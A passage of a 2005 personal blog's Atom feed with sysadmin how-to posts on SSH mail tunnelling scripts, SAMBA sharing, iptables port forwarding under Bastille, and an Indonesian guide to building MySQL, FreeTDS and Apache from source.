tunnels before getting sending the mail.&lt;br /&gt;&lt;br /&gt;One click tunnelling&lt;br /&gt;I have put the above commands into shellscripts for convenience. And to make it even easier I have created a desktop shortcut on my linux workstation, which will bring up the scripts inside a small xterm window. So whenever I need to get or send mail, I just click on the desktop icon and type in the password/passphrase on the xterm that pops up with the tunnell script.&lt;br /&gt;&lt;br /&gt;These are the scripts I use , you can either use these or create your own which suits your needs.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$cat getmail.sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/bin/sh&lt;br /&gt;DELAY=300&lt;br /&gt;ps -ef | grep -i ssh | grep 1234 | grep -v grep  | grep -v sshd&lt;br /&gt;echo ""&lt;br /&gt;ssh -P -f -L 1234:mail.foo.net:110 user@foo.net sleep $DELAY&lt;br /&gt;sleep $DELAY&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$cat putmail.sh&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/bin/sh&lt;br /&gt;DELAY=300 ps -ef | grep -i ssh | grep 1235 | grep -v grep | grep -v sshd&lt;br /&gt;echo ""&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ssh -P -f -L  1235:mail.foo.net:25  user@foo.net sleep $DELAY&lt;br /&gt;sleep $DELAY&lt;br /&gt;$&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;$cat tunnel.sh &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/bin/sh&lt;br /&gt;xterm -geometry 60x5+60+10 -bg red -fg white -T &lt;br /&gt;'local:1234]==[110:mail.foo.net]' -e /home/foo/bin/getmail.sh &amp;&lt;br /&gt;xterm -geometry 60x5+60+110 -bg green -fg black -T &lt;br /&gt;'local:4321]==[ 25:mail.foo.net]' -e /home/foo/bin/putmail.sh &amp;&lt;br /&gt;$&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111028209123408949?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111028209123408949/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111028209123408949' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028209123408949'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111028209123408949'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/ssh-tunnell-using-pop3-for-imap-mail.html' title='SSH Tunnell using POP3 for IMAP Mail'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111027991803978268</id><published>2005-03-08T03:04:00.000-08:00</published><updated>2005-03-08T03:05:18.043-08:00</updated><title type='text'>SAMBA - Windows Linux file Sharing Notes</title><content type='html'>Simple SAMBA on LINUX Sharing&lt;br /&gt;&lt;br /&gt;Some basic notes on using SAMBA on a home network with linux and windows machines, like my home network setup. &lt;br /&gt;Running SAMBA on a Linux machine&lt;br /&gt;&lt;br /&gt;To start, stop or restart samba, &lt;br /&gt;&lt;br /&gt;/etc/init.d/smd start&lt;br /&gt;/etc/init.d/smd stop&lt;br /&gt;/etc/init.d/smd restart&lt;br /&gt;&lt;br /&gt;All options for the SAMBA goes to /etc/samba/smb.conf This is my smb.conf &lt;br /&gt;&lt;br /&gt;Notable changes I made are: &lt;br /&gt;&lt;br /&gt;My linux machine is a gateway server with two ethernet interfaces eth0 and eth1. For security reasons I set up SAMBA to run only on the internal interface &lt;br /&gt;&lt;br /&gt;interfaces = 192.168.0.1/24 127.0.0.1/24&lt;br /&gt;bind interfaces only = Yes&lt;br /&gt;&lt;br /&gt;Also set hosts allow to only allow internal and localhoist &lt;br /&gt;&lt;br /&gt;hosts allow = 127. 192.168.0.&lt;br /&gt;hosts deny = *&lt;br /&gt;SAMBA authentification&lt;br /&gt;&lt;br /&gt;For the file access permissions for the shares to work, you have to set up the SAMBA username/password by running smbpasswd program on the linux box. &lt;br /&gt;&lt;br /&gt;Then on the Windows machine login with the username/password created above with smbpasswd. Otherwise the file sharing will not work. &lt;br /&gt;SAMBA Linux to Windows Sharing&lt;br /&gt;&lt;br /&gt;Set up the shares in /etc/samba/smb.conf as follows &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[musak]&lt;br /&gt;        comment = music from linux boxen&lt;br /&gt;        path = /var/stuff/media/musak&lt;br /&gt;        read only = Yes&lt;br /&gt;&lt;br /&gt;On the windows machine access it as \\192.168.0.1\musak where 192.168.0.1 is the IP address of the linux machine. &lt;br /&gt;&lt;br /&gt;If you want to share CD/DVD drive &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[dvd]&lt;br /&gt;        comment = dvd drive on linux boxen&lt;br /&gt;        writable = No&lt;br /&gt;        locking = No&lt;br /&gt;        path = /mnt/cdrom2&lt;br /&gt;&lt;br /&gt;SAMBA Windows to Linux Sharing&lt;br /&gt;&lt;br /&gt;First turn on file sharing. Go to Start-&gt;Setting-&gt;Control Panel and open "Network" and in the first tab called "Configuration" click on "File and Pring Sharing..." and om the Dialog Box that comes up check "I want to be able to give others access to my files" &lt;br /&gt;&lt;br /&gt;Now go to the file explorer and right click on the folder you want to sgare, and from the menu that pops up slect "Sharing..." and from the "Manual Properties" Dialog Box that comes up select the second tab "Sharing" and select "Shared as" which will enable all the text boxes, fill in the "Share Name" "Comments" and selct "Read Only" "Full" or "Depends on Password" and enter a password. This is the password that will give access to this share. Also note the "Share Name", lets name it "MYSHARE". &lt;br /&gt;&lt;br /&gt;Also find out the hostname of the Windows machine. Go to Start-&gt;Setting-&gt;Control Panel and Open "Network" and in the second tab "Identification" note the "Computer Name", This is the name to use from Linux to access shares on this machine. Let it be "MYWINBOX" &lt;br /&gt;&lt;br /&gt;Now go to the Linux machine. Crete mount point for the share. &lt;br /&gt;&lt;br /&gt;mkdir /mnt/winstuff &lt;br /&gt;Mount the share named "MYSHARE" on Windows hos namedt "MYWINBOX" &lt;br /&gt;&lt;br /&gt;smbmount \\MYWINBOX\MYSHARE /mnt/winstuff &lt;br /&gt;This will prompt you for the password for the share, enter the password and after that if you go to /mnt/winstuff you can access all files on the Windows folder.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111027991803978268?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111027991803978268/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111027991803978268' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111027991803978268'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111027991803978268'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/samba-windows-linux-file-sharing-notes.html' title='SAMBA - Windows Linux file Sharing Notes'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111027985298117246</id><published>2005-03-08T03:02:00.000-08:00</published><updated>2005-03-08T03:04:12.983-08:00</updated><title type='text'>PORT FORWARDING - with IPTABLES while using BASTILLE firewall</title><content type='html'>Background on network setup&lt;br /&gt;&lt;br /&gt;I have my home network setup as described here. So my linux gateway server is the only one visible to the internet, while all other machines are in an internal subnet with DHCP assigned IP's not visible to the outside internet, but can access the outside net using Iptables based Network Address Translation (NAT). &lt;br /&gt;&lt;br /&gt;Why you need portforwarding&lt;br /&gt;&lt;br /&gt;So in this setup if I want to run a public service like httpd, not on the gateway server ( where it is visible to outside ) but on an internal machine ( which is not visible outside ) how do I make it availble to the outside internet. &lt;br /&gt;&lt;br /&gt;To make the above scenario of exposing and internal machine's service to outside we need to use port forwarding on the gateway server. Which is assigning a port on the gateway to accept all connections and forward it to the internal machines port where the service is listening to. &lt;br /&gt;&lt;br /&gt;Let xxx.xxx.xxx.xxx be the IP address of the gateway server connected to the cable modem and 192.168.0.2 , the IP address of the internal machine. And say we want to run a web server ( httpd ) on 192,168.0.2 on port 80 which should be avaialble to the outside internet. We can forward the port 80 on xxx.xxx.xxx.xxx to port 80 of 192.168.0.2 &lt;br /&gt;&lt;br /&gt;Source: xxx.xxx.xxx.xxx:80 -- forwarded to -&gt; 192.168.0.2:80 &lt;br /&gt;&lt;br /&gt;You can chhose any port on xxx.xxx.xxx.xxx it need not match the port we are forwarding to. &lt;br /&gt;&lt;br /&gt;Source: xxx.xxx.xxx.xxx:8888 -- forwarded to -&gt; 192.168.0.2:80 &lt;br /&gt;&lt;br /&gt;Port Forwarding using Iptables&lt;br /&gt;&lt;br /&gt;Since I have been using 2.4 kernel, I use iptables for firewall and NAT. So these are the Iptable rules required for port forwarding xxx.xxx.xxx.xxx:8888 to 192.168.0.2:80 . &lt;br /&gt;&lt;br /&gt;/sbin/iptables -t nat -A PREROUTING -p tcp -i eth0 -d xxx.xxx.xxx.xxx&lt;br /&gt; --dport 8888 -j DNAT --to 192.168.0.2:80&lt;br /&gt;/sbin/iptables -A FORWARD -p tcp -i eth0 -d 192.168.0.2 --dport 80 -j ACCEPT&lt;br /&gt;&lt;br /&gt;How to add custom rules to Bastille firewall&lt;br /&gt;&lt;br /&gt;Since I trust Bastille firwall script to generate the correct iptable scripts for my server, I wanted to keep those scripts but add these custom port forwarding rules to supplement/extend it. &lt;br /&gt;&lt;br /&gt;But the version of Bastille on my machine ( 1.2.0 ) does not support port forwarding, and does not had a way of adding custom scripts to it. Posting the question to Bastille mailing list generated these prompt responses from Peter Watkins, core developer of Bastille. ( See the complete thread ) &lt;br /&gt;&lt;br /&gt;Following Peter's advice I upgraded Bastille to the latest version, without any problem. The new version regenerated all the scripts with my old rules intact. &lt;br /&gt;&lt;br /&gt;And with the new Bastill in place and working fine doing all the firewall filteringa nd NAT. I made the following changes to add a supplemental script, portforward.sh ( get the script ) for my custom port forwarding rules. &lt;br /&gt;&lt;br /&gt;Created the directories for supplemetal script. ( as explained in the comments at portforward.sh ) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/etc/Bastille/firewall.d/pre-chain-split.d/&lt;br /&gt;&lt;br /&gt;Created portforward.sh with working portforwarding rules, following the sample script from Peter. &lt;br /&gt;[ Please note: The ipchains rules in portforward.sh are untested. I have left it there from Peter's sample script for completeness. ] &lt;br /&gt;&lt;br /&gt;In portforward.sh all you have to do is specify the portforwarding source and destination IP addresses and ports with the ethernet interface name ( "eth0" if you have only one interface ) and the protocol type ( "tcp" in this case ). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IP_FORWARDS="eth0-xxx.xxx.xxx.xxx-8888-tcp-192.168.0.2-80"&lt;br /&gt;&lt;br /&gt;Also you can have multiple port forwaring specified like: &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IP_FORWARDS="eth0-xxx.xxx.xxx.xxx-8888-tcp-192.168.0.2-80 &lt;br /&gt;eth0-xxx.xxx.xxx.xxx-2222-tcp-192.168.0.2-22"&lt;br /&gt;&lt;br /&gt;This will be parsed and stored into varibles down the script and used in the following Iptable calls to generate the rules. [ NOTE: The rules need to be on a single continuous line, I have broken it down to two lines for readability ] &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;${IPTABLES} -t nat -A PREROUTING -p $fw_inproto -i $fw_iface &lt;br /&gt;   -d $fw_inaddr --dport $fw_inport -j DNAT --to $fw_outaddr:$fw_outport&lt;br /&gt;&lt;br /&gt;${IPTABLES} -A FORWARD -p $fw_inproto -i $fw_iface &lt;br /&gt;   -d $fw_outaddr --dport $fw_outport -j ACCEPT&lt;br /&gt;&lt;br /&gt;Which will translate to. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/sbin/iptables -t nat -A PREROUTING -p tcp -i eth0 -d xxx.xxx.xxx.xxx &lt;br /&gt;--dport 8888 -j DNAT --to 192.168.0.2:80&lt;br /&gt;/sbin/iptables -A FORWARD -p tcp -i eth0 -d 192.168.0.2 &lt;br /&gt;   --dport 80 -j ACCEPT&lt;br /&gt;&lt;br /&gt;Now we can restart Bastille scripts to make this rules effective. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#/etc/rc.d/init.d/bastille-firewall start&lt;br /&gt;&lt;br /&gt;Verify the rules by listing them. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;# iptables -t nat -L&lt;br /&gt;Chain PREROUTING (policy ACCEPT)&lt;br /&gt;target prot opt source   destination&lt;br /&gt;DNAT   tcp  --  anywhere xxx.xxx.xxx.xxxtcp dpt:ddi-tcp-1 to:192.168.0.2:80&lt;br /&gt;&lt;br /&gt;Chain POSTROUTING (policy ACCEPT)&lt;br /&gt;target     prot opt source               destination&lt;br /&gt;MASQUERADE  all  --  192.168.0.0/16       anywhere&lt;br /&gt;MASQUERADE  all  --  192.168.0.0/16       anywhere&lt;br /&gt;MASQUERADE  all  --  192.168.0.0/16       anywhere&lt;br /&gt;&lt;br /&gt;Chain OUTPUT (policy ACCEPT)&lt;br /&gt;target     prot opt source               destination&lt;br /&gt;#&lt;br /&gt;[ where "ddi-tcp-1", I assume corresponds to port 8888 ] &lt;br /&gt;&lt;br /&gt;Verify the port forwaring works by connecting to the port from a machine outside the network. &lt;br /&gt;&lt;br /&gt;Notes on this setup&lt;br /&gt;&lt;br /&gt;The above rules work fine when you access from outside, but if you try to access the same port xxx.xxx.xxx.xxx:8888 from an internal machine, it will not work. But from the internal network you dont need the forwarding, since you can directly access the machine 192.168.0.2:80.&lt;br /&gt;&lt;br /&gt;http://www.netfilter.org/&lt;br /&gt;http://www.bastille-linux.org/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/11073072-111027985298117246?l=yudhax.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://yudhax.blogspot.com/feeds/111027985298117246/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=11073072&amp;postID=111027985298117246' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111027985298117246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/11073072/posts/default/111027985298117246'/><link rel='alternate' type='text/html' href='http://yudhax.blogspot.com/2005/03/port-forwarding-with-iptables-while.html' title='PORT FORWARDING - with IPTABLES while using BASTILLE firewall'/><author><name>y u d h a x</name><uri>http://www.blogger.com/profile/11288479023899701739</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-11073072.post-111020459859744715</id><published>2005-03-07T06:09:00.000-08:00</published><updated>2005-03-07T06:09:58.606-08:00</updated><title type='text'>Instalasi web server apache support php, ms-sql dan mysql</title><content type='html'>tulisan ini timbul karena banyak teman-teman saya para programer ingin menitipkan aplikasi berbasis web di server web server berbasis linx yang dikelola oleh saya. kebetulan pada saat itu sudah ada web server apache support php dan mysql. kendala timbul ketika saya tanyakan kepada teman-teman programer apa database yang diakses, kebanyakan dari mereka menggunakan ms-sql. Dari kebutuhan tersebut saya mencari referensi-refernsi yang dibutuhkan yang ternyata belum ada referensi yang berbahasa indonesia (mungkin saya yang tidak tau, hehehehe). untuk itu saya membuat tutorial ini untuk teman-teman yang memiliki kebutuhan yang sama.saya sangat mengharapkan sekali kritik, saran dan masukan pada tulisan ini sehingga nantinya terbentuk tutorial yang representatif.  &lt;br /&gt;Saran, koreksi, kritik, kesalahan ketik, maupun ucapan silakan dikirimkan ke email tersebut diatas. banyak sekali kekurangan pada tutorial ini. Terima Kasih. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;saya tidak terbiasa berpanjang lebar dengan kata-kata, mari kita langsung saja memulai tahapan instalasi &lt;br /&gt;&lt;br /&gt;1. Requirement &lt;br /&gt;mysql-4.0.17.tar.gz&lt;br /&gt;freetds-stable.tgz&lt;br /&gt;httpd-2.0.47.tar.gz&lt;br /&gt;php-4.2.3.tar.gz&lt;br /&gt;download file-file tersebut di situs software yang bersangkutan. apabila tidak tahu silahkan surfing di universita google, dijamin ketemu :-). &lt;br /&gt;untuk semua file-file yang telah di extrack saya terbiasa meletakkannya di directory /usr/local/src. silahkan sesuaikan dengan kebutuhan anda. file-file source saya letakkan di directory /home/bdul. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;2. Instalasi Mysql (optional, kalo anda ingin install mysql di web server anda) &lt;br /&gt;&lt;br /&gt;tidak ada alasan apapun saya menggunakan mysql versi 4.0.17, karena memang saya hanya memanfaatkan source yang sudah ada di pc saya, dan kebetulan hanya itu yang ada. &lt;br /&gt;&lt;br /&gt;buat user dan group untuk mysql, kalau sudah ada perintah dibawah ini tidak perlu dilakukan. &lt;br /&gt;root@gateway:/usr/local/srcl# groupadd mysql &lt;br /&gt;root@gateway:/usr/local/srcl# useradd -g mysql mysql &lt;br /&gt;&lt;br /&gt;lanjutkan dengan extrak dan intallasi mysql dengan perintah : &lt;br /&gt;root@gateway:/usr/local/srcl# tar zxvf /home/bdul/mysql-4.0.17.tar.gz &lt;br /&gt;root@gateway:/usr/local/srcl# cd mysql-4.0.17 &lt;br /&gt;root@gateway:/usr/local/srcl# ./configure --prefix=/usr/local/mysql &lt;br /&gt;root@gateway:/usr/local/srcl# make &lt;br /&gt;root@gateway:/usr/local/srcl# make install &lt;br /&gt;&lt;br /&gt;kalo proses ini semua berjalan lancar maka akan terdapat directory /usr/local/mysql. dapat terlihat seperti dibawah ini : &lt;br /&gt;root@gateway:/usr/local/src# ls /usr/local/mysql &lt;br /&gt;bin  include  info  lib  libexec  man  mysql-test  share  sql-bench  var &lt;br /&gt;&lt;br /&gt;sampai tahapan ini berarti anda sudah sukses menginstall mysql. tapi jangan senang dulu karena masih ada tahapan lain untuk mengkonfigurasi mysql agar dapat berjalan dengan baik. &lt;br /&gt;&lt;br /&gt;masuk ke directory /usr/local/mysql dengan perintah : &lt;br /&gt;root@gateway:/usr/local/srcl#cd /usr/local/mysql &lt;br /&gt;&lt;br /&gt;jalankan script untuk menginstall databases pendukung  dengan perintah : &lt;br /&gt;root@gateway:/usr/local/mysql# scripts/mysql_install_db &lt;br /&gt;&lt;br /&gt;ganti kepemilikan directory mysql beserta directory anak-anaknya sebagai milik root &lt;br /&gt;root@gateway:/usr/local/mysql# chown -R root  /usr/local/mysql &lt;br /&gt;&lt;br /&gt;ganti kepemilikan directory mysql/data beserta anak-anaknya sebagai milik root &lt;br /&gt;root@gateway:/usr/local/mysql# chown -R mysql /usr/local/mysql/var &lt;br /&gt;&lt;br /&gt;ganti kepemilikan group dari directory mysql beserta anak-anaknya sebagai milik mysql &lt;br /&gt;root@gateway:/usr/local/mysql# chgrp -R mysql /usr/local/mysql &lt;br /&gt;&lt;br /&gt;ganti kepemilikan directory mysql/bin beserta anak-anaknya sebagai milik root &lt;br /&gt;root@gateway:/usr/local/mysql# chown -R root /usr/local/mysql/bin &lt;br /&gt;&lt;br /&gt;apabila sudah semua selesai dilakukan struktur directory mysql dapat dilihat seperti ini: &lt;br /&gt;root@gateway:/usr/local/src# ls /usr/local/mysql -l &lt;br /&gt;total 7 &lt;br /&gt;drwxr-xr-x    2 root     root         1480 Jun 10 14:35 bin &lt;br /&gt;drwxr-xr-x    3 root     mysql          72 Jun 10 14:35 include &lt;br /&gt;drwxr-xr-x    2 root     mysql         104 Jun 10 14:35 info &lt;br /&gt;drwxr-xr-x    3 root     mysql          72 Jun 10 14:35 lib &lt;br /&gt;drwxr-xr-x    2 root     mysql          72 Jun 10 14:35 libexec &lt;br /&gt;drwxr-xr-x    3 root     mysql          72 Jun 10 14:35 man &lt;br /&gt;drwxr-xr-x    6 root     mysql         232 Jun 10 14:35 mysql-test &lt;br /&gt;drwxr-xr-x    3 root     mysql          72 Jun 10 14:35 share &lt;br /&gt;drwxr-xr-x    5 root     mysql         888 Jun 10 14:35 sql-bench &lt;br /&gt;drwx------    4 mysql    mysql         288 Jun 16 09:21 var &lt;br /&gt;&lt;br /&gt;mari kita jalankan mysql sebagai daemon &lt;br /&gt;root@gateway:/usr/local/mysql# bin/mysqld_safe --user=mysql &amp; &lt;br /&gt;&lt;br /&gt;cek apakah mysql sudah aktif pada pc kita dengan perintah : &lt;br /&gt;root@gateway:/usr/local/mysql# ps aux | grep mysql &lt;br /&gt;root      3231  0.0  0.8  2048 1016 tty1     S    09:21   0:00 /bin/sh bin/mysqld_safe &lt;br /&gt;mysql     3248  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3250  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3251  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3252  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3253  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3254  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3255  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3256  0.0  9.9 46092 12428 tty1    S    09:21   0:16 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3257  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;mysql     3258  0.0  9.9 46092 12428 tty1    S    09:21   0:00 /usr/local/mysql/libexec/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/var --user=mysql --pid-file=/usr/local/mysql/var/gateway.pid --skip-locking &lt;br /&gt;root      3462  0.0  0.3  1472  492 pts/0    S    15:46   0:00 grep mysql &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;tahapan konfigurasi telah selesai dan database server mysql sudah siap untuk diakses  :-) &lt;br /&gt;untuk lebih amannya mari kita setting password root untuk mysql kita ubah dulu dengan perintah: &lt;br /&gt;root@gateway:/usr/local/mysql# bin/mysqladmin -u  root password 'terserah' &lt;br /&gt;&lt;br /&gt;sekarang mari kita masuk ke database servernya : &lt;br /&gt;root@gateway:/usr/local/mysql# bin/mysql -u root -p &lt;br /&gt;Enter password: &lt;br /&gt;Welcome to the MySQL monitor.  Commands end with ; or \g. &lt;br /&gt;Your MySQL connection id is 6 to server version: 4.0.17 &lt;br /&gt;&lt;br /&gt;Type 'help;' or '\h' for help. Type '\c' to clear the buffer. &lt;br /&gt;&lt;br /&gt;mysql&gt; &lt;br /&gt;&lt;br /&gt;selesai deh intalasi mysql nya. ternyata panjang juga ya :-) &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;3. Instalasi Freetds &lt;br /&gt;&lt;br /&gt;saya memakai versi terbaru dari freetds pada saat ini (12 juni 2004) yaitu versi 0.62.3 dan saya langsung download dari situ http://www.freetds.org. Freetds ini dibutuhkan untuk antar muka koneksi ke database ms-sql, sebetulnya freetds bisa juga sebagai antar muka koneksi ke sybase tapi kita tidak sedang membahas itu :-) kalo mau, cari aja referensi ditempat lain ya....... &lt;br /&gt;&lt;br /&gt;mari kita kembali ke directory /usr/local/src dan memulai tahapan instalasi freetds.. &lt;br /&gt;root@gateway:/usr/local/srcl# tar zxvf /home/bdul/freetds-stable.tgz &lt;br /&gt;root@gateway:/usr/local/srcl# cd freetds-0.62.3 &lt;br /&gt;root@gateway:/usr/local/srcl# ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib &lt;br /&gt;root@gateway:/usr/local/srcl# make &lt;br /&gt;root@gateway:/usr/local/srcl# make install &lt;br /&gt;root@gateway:/usr/local/srcl# make clean &lt;br /&gt;&lt;br /&gt;kalo proses ini semua berjalan lancar maka akan terdapat directory /usr/local/freetds. dapat terlihat seperti dibawah ini : &lt;br /&gt;root@gateway:/usr/local/src# ls -l /usr/local/freetds &lt;br /&gt;total 4 &lt;br /&gt;drwxr-xr-x    2 root     root          144 Jun  9 10:00 bin &lt;br /&gt;drwxr-xr-x    2 root     root          144 Jun  9 10:00 etc &lt;br /&gt;drwxr-xr-x    2 root     root          488 Jun  9 10:00 include &lt;br /&gt;drwxr-xr-x    2 root     root          656 Jun  9 10:00 lib &lt;br /&gt;drwxr-xr-x    3 root     root           72 Jun  9 10:00 man &lt;br /&gt;drwxr-xr-x    3 root     root           72 Jun  9 10:00 share &lt;br /&gt;&lt;br /&gt;mari kita coba untuk mencoba freetds untuk mengakses database ms-sql. sebelum mencoba kita pindah dulu ke directory freetds &lt;br /&gt;root@gateway:/usr/local/srcl# cd /usr/local/freetds &lt;br /&gt;&lt;br /&gt;untuk mencoba koneksi kita menggunakan 'tsql' . untuk lebih jelas tentang -S -U silahkan belajar sendiri aja ya........ &lt;br /&gt;root@gateway:/usr/local/freetds# bin/tsql -S 192.168.1.1 -U express &lt;br /&gt;locale is "C" &lt;br /&gt;locale charset is "ANSI_X3.4-1968" &lt;br /&gt;Password: &lt;br /&gt;1&gt; &lt;br /&gt;&lt;br /&gt;apabila mendapatkan keluaran seperti yang diatas ini, berarti instalasi freetdsnya berjalan dengan baik. &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;4. Instalasi apache &lt;br /&gt;&lt;br /&gt;apache ini digunakan untuk web server, ada banyak web server yang dapat digunakan salah satunya adalah apache. mari kita mulai tahapan instalasi apache dan kembali ke direktory /usr/local/src. &lt;br /&gt;root@gateway:/usr/local/srcl# tar zxvf /home/bdul/httpd-2.0.47.tar.gz &lt;br /&gt;root@gateway:/usr/local/srcl# cd httpd-2.0.47 &lt;br /&gt;root@gateway:/usr/local/srcl# ./configure --enable-so &lt;br /&gt;root@gateway:/usr/local/srcl# make &lt;br /&gt;root@gateway:/usr/local/srcl# make install &lt;br /&gt;&lt;br /&gt;kalo proses ini semua berjalan lancar maka akan terdapat directory /usr/local/apache2. dapat terlihat seperti dibawah ini : &lt;br /&gt;root@gateway:/usr/local/src# ls -l /usr/local/apache2 &lt;br /&gt;total 23 &lt;br /&gt;drwxr-xr-x    2 root     root          464 Jun 10 16:04 bin &lt;br /&gt;drwxr-xr-x    2 root     root          312 Jun 10 16:04 build &lt;br /&gt;drwxr-xr-x    2 root     root           96 Jun 10 16:04 cgi-bin &lt;br /&gt;drwxr-xr-x    2 root     root          336 Jun 10 16:08 conf &lt;br /&gt;drwxr-xr-x    3 root     root         1024 Jun 10 16:04 error &lt;br /&gt;drwxr-xr-x    3 root     root         1400 Jun 10 17:20 htdocs &lt;br /&gt;drwxr-xr-x    3 root     root         4600 Jun 10 16:04 icons &lt;br /&gt;drwxr-xr-x    2 root     root         3568 Jun 10 16:04 include &lt;br /&gt;drwxr-xr-x    2 root     root          448 Jun 10 16:04 lib &lt;br /&gt;drwxr-xr-x    2 root     root          112 Jun 11 13:34 logs &lt;br /&gt;drwxr-xr-x    4 root     root           96 Jun 10 16:04 man &lt;br /&gt;drwxr-xr-x   14 root     root         8320 Jun 10 16:04 manual &lt;br /&gt;drwxr-xr-x    2 root     root          112 Jun 10 16:08 modules &lt;br /&gt;&lt;br /&gt;mari kita coba untuk mengaktifkan web server dengan perintah: &lt;br /&gt;root@gateway:/usr/local/src# /usr/local/apache2/bin/apachectl start &lt;br /&gt;&lt;br /&gt;untuk melihat servis apache berjalan dengan baik lakukan perintah berikut: &lt;br /&gt;root@gateway:/usr/local/apache2# ps aux | grep apache &lt;br /&gt;root      3524  1.0  2.1  5920 2684 ?        S    16:55   0:00 /usr/local/apache2/bin/httpd -k start &lt;br /&gt;nobody    3525  1.0  2.1  5936 2696 ?        S    